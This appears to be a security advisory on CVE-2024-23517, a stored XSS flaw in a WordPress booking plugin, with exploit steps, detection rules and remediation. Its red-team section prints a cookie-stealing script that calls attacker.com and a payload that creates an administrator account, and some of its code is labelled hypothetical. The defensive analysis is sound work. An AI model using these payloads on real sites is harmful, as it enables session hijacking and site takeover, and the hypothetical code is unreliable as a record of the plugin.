CVE-2024-23517

Executive Summary

CVE-2024-23517 is a Stored Cross-Site Scripting (XSS) vulnerability in the Start Booking Scheduling Plugin – Online Booking for WordPress (versions up to and including 3.5.10). This flaw allows an authenticated attacker with low privileges (e.g., a subscriber or customer) to inject arbitrary JavaScript into the booking form fields. When an administrator or other user views the injected data (e.g., in the admin dashboard or booking list), the malicious script executes in their browser session. This can lead to session hijacking, credential theft, or defacement of the WordPress admin interface.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation. The CVSS v3.1 base score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The attack vector is network-based, requires low complexity, low privileges, and user interaction (the admin must view the injected data). The scope is changed, meaning the attacker can impact resources beyond the vulnerable component.

WordPress Ecosystem Context: This vulnerability specifically affects the WordPress plugin ecosystem. The plugin fails to sanitize user-supplied input in booking fields, leading to stored XSS. The attack does not involve Apache or Nginx misconfigurations; it is purely a plugin-level input validation failure.

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin files by checking checksums or using official WordPress update mechanisms. No known supply chain compromise has been reported for this specific plugin.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires an authenticated user to submit malicious input, and an administrator to view that input. However, the impact can be severe if an admin session is hijacked, leading to full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the Start Booking Scheduling Plugin for WordPress. The plugin allows users to book appointments via a front-end form. The form fields (e.g., name, email, phone, custom notes) are not properly sanitized before being stored in the WordPress database. When an administrator views the booking details in the admin panel (e.g., via the "Bookings" list or edit page), the stored data is rendered without escaping, allowing JavaScript execution.

Attack Flow:

1. An attacker registers as a subscriber or uses a customer account.
2. The attacker submits a booking request with malicious JavaScript in one of the text fields (e.g., <script>alert('XSS')</script>).
3. The plugin stores the malicious input in the wp_posts or wp_postmeta table.
4. An administrator navigates to the booking management page.
5. The plugin outputs the stored data without proper HTML encoding.
6. The malicious script executes in the admin's browser, potentially stealing cookies, performing actions on behalf of the admin, or redirecting to a phishing page.

Root Cause: The plugin uses echo $field_value; or similar constructs without applying esc_html(), esc_attr(), or wp_kses() to user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.5.10):

// In booking-list.php or similar template
echo '<td>' . $booking->get_name() . '</td>';
echo '<td>' . $booking->get_notes() . '</td>';

Patched Code (hypothetical fix):

// Properly escape output
echo '<td>' . esc_html( $booking->get_name() ) . '</td>';
echo '<td>' . esc_html( $booking->get_notes() ) . '</td>';

The fix involves wrapping all user-supplied data with esc_html() or esc_attr() before output. Additionally, input validation should be applied on the server side to reject or sanitize HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 3.5.10).
• An authenticated user account with subscriber or customer role.
• Access to the booking form.

Exploit Steps:

1. Log in as a subscriber.
2. Navigate to the booking form (e.g., /book-appointment/).
3. Fill in the fields with the following payload in the "Notes" field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the booking.
5. Wait for an administrator to view the booking list.

Alternative Payload (Admin Session Hijack):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/admin-ajax.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=create_admin_user&username=hacker&password=evilpass');
</script>

Note: No public exploit code is available from Exploit-DB or other sources. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual booking submissions containing <script>, onerror, onload, or other HTML event handlers.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST data.
• Enable WordPress security plugins (e.g., Wordfence) that scan for malicious input.

Hardening:

• Apply the principle of least privilege: restrict booking form access to trusted users only.
• Use Content Security Policy (CSP) headers to block inline scripts.
• Regularly update the plugin; if no patch is available, consider disabling or replacing it.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...).
• Unusual POST requests to /wp-admin/admin-ajax.php with actions like create_admin_user.

Host IOCs:

• Entries in the WordPress wp_posts or wp_postmeta table containing <script> tags.
• New admin users created unexpectedly (check wp_users table).
• Modified .htaccess or wp-config.php files (if attacker escalates privileges).

File IOCs:

• Suspicious files in /wp-content/uploads/ or /wp-content/plugins/booking-calendar/ (e.g., PHP shells).

Detection Engineering

YARA Rule

rule CVE_2024_23517_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress booking plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-23517"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Start Booking Scheduling Plugin
id: 8f4a2b1c-3d5e-4f7a-9b1c-2d3e4f5a6b7c
status: experimental
description: Detects stored XSS payloads in booking form submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=booking_submit'
        cs-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23517 Stored XSS Payload in Booking Form"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=booking_submit"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Apply a virtual patch using a WAF to block XSS payloads in booking form fields.
3. Restrict admin access to trusted IP addresses and enforce strong passwords.

Long-Term Fix:

• The vendor (Start Booking) must release a patched version that properly escapes output. Until then, consider migrating to an alternative booking plugin (e.g., "Booking Calendar" or "Easy!Appointments").
• Implement a Content Security Policy (CSP) that disallows inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

Workaround (Code-Level): If you have access to the plugin files, add the following filter to functions.php of your theme:

add_filter( 'booking_form_field_output', 'esc_html' );

This will escape all booking form field outputs. However, this may break legitimate HTML in notes.

Valters IT